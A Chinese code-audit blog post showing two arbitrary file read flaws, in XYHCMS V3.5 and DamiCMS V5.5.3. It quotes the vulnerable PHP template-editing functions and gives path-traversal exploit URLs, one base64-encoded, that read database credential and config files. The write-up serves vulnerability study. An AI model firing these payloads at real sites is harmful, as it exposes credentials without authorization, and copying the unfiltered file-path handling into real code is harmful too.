1. 程式人生 > >【程式碼審計】任意檔案讀取漏洞例項

【程式碼審計】任意檔案讀取漏洞例項

0x00 前言

  大多數網站都提供讀取檔案功能,一般實現過程是,根據引數filename的值,獲得該檔案在網站上的絕對路徑,讀取檔案。

  這裡,通過兩個任意檔案讀取漏洞例項去展示漏洞原理、漏洞危害。

0x01 漏洞例項一

環境搭建:

XYHCMS官網:http://www.xyhcms.com/

網站原始碼版本:XYHCMS V3.5(2017-12-04 更新)

程式原始碼下載:https://pan.baidu.com/s/13q_ITM0pPTGlkaNv8uq2Iw

程式碼分析:

1、漏洞檔案位置:/App/Manage/Controller/TempletsController.class.php 第59-83行:

    public function edit() {
        $ftype     = I('ftype', 0, 'intval');
        $fname     = I('fname', '', 'trim,htmlspecialchars');
        $file_path = !$ftype ? './Public/Home/' . C('CFG_THEMESTYLE') . '/' : './Public/Mobile/' . C('CFG_MOBILE_THEMESTYLE') . '/';
        if (IS_POST) {
            if (empty($fname)) {
                $this->error('未指定檔名');
            }
            $_ext     = '.' . pathinfo($fname, PATHINFO_EXTENSION);
            $_cfg_ext = C('TMPL_TEMPLATE_SUFFIX');
            if ($_ext != $_cfg_ext) {
                $this->error('檔案字尾必須為"' . $_cfg_ext . '"');
            }
            $content  = I('content', '', '');
            $fname    = ltrim($fname, './');
            $truefile = $file_path . $fname;
            if (false !== file_put_contents($truefile, $content)) {
                $this->success('儲存成功', U('index', array('ftype' => $ftype)));
            } else {
                $this->error('儲存檔案失敗,請重試');
            }
            exit();
        }
        $fname = base64_decode($fname);
        if (empty($fname)) {
            $this->error('未指定要編輯的檔案');
        }
        $truefile = $file_path . $fname;

        if (!file_exists($truefile)) {
            $this->error('檔案不存在');
        }
        $content = file_get_contents($truefile);
        if ($content === false) {
            $this->error('讀取檔案失敗');
        }
        $content = htmlspecialchars($content);

        $this->assign('ftype', $ftype);
        $this->assign('fname', $fname);
        $this->assign('content', $content);
        $this->assign('type', '修改模板');
        $this->display();
    }

這段函式中對提交的引數進行處理,然後判斷是否POST資料上來,如果有就進行儲存等,如果沒有POST資料,將跳過這段程式碼繼續向下執行。

我們可以通過GET傳入fname,跳過前面的儲存檔案過程,進入檔案讀取狀態。

對fname進行base64解碼,判斷fname引數是否為空,拼接成完整的檔案路徑,然後判斷這個檔案是否存在,讀取檔案內容。

對fname未進行任何限制,導致程式在實現上存在任意檔案讀取漏洞。

漏洞利用:

登入網站後臺,資料庫配置檔案路徑:\App\Common\Conf\db.php
我們將這段組成相對路徑,..\\..\\..\\App\\Common\\Conf\\db.php,然後進行base64編碼,Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==
最後構造的連結形式如下:
http://127.0.0.1/xyhai.php?s=/Templets/edit/fname/Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==
通過url訪問,成功獲取到資料庫敏感資訊:

0x02 漏洞例項二

環境搭建:

大米CMS官網:http://www.damicms.com
網站原始碼版本:大米CMS_V5.5.3試用版(更新時間:2017-04-15)
程式原始碼下載:連結: https://pan.baidu.com/s/1QedJ1EelWHrIC4cX0kmWuA 密碼: h4kj

程式碼分析:

漏洞檔案位置:/Admin/Lib/Action/TplAction.class.php  第76-87行中:

public function add()  
{  
    $filename = dami_url_repalce(str_replace('*','.',trim($_GET['id'])));  
    if (empty($filename))   
    {  
        $this->error('模板名稱不能為空!');  
    }  
    $content = read_file($filename);  
    $this->assign('filename',$filename);  
    $this->assign('content',htmlspecialchars($content));  
    $this->display('add');  
}  

這段編輯模板的函式中,首先對獲取的引數進行替換,然後判斷檔案是否為空,接著帶入read_file函式中執行,可以看到引數並未進行任何過濾或處理,導致程式在實現上存在任意檔案讀取漏洞。

漏洞利用:

登入後臺, 全域性配置路徑在\Public\Config\config.ini.php,通過構造URL讀取全域性配置檔案內容。
http://127.0.0.1/admin.php?s=Tpl/Add/id/.\Public\Config\config.ini.php

0x03 END

  這兩個漏洞例項都是在編輯狀態下的任意檔案讀取,感覺還挺蠻有趣的,在黑盒滲透中,要想觸及這個點還是挺有難度的。

  更多的時候,黑盒結合白盒的進行漏洞挖掘,可發現更多的安全漏洞。

最後

歡迎關注個人微信公眾號:Bypass--,每週原創一篇技術乾貨。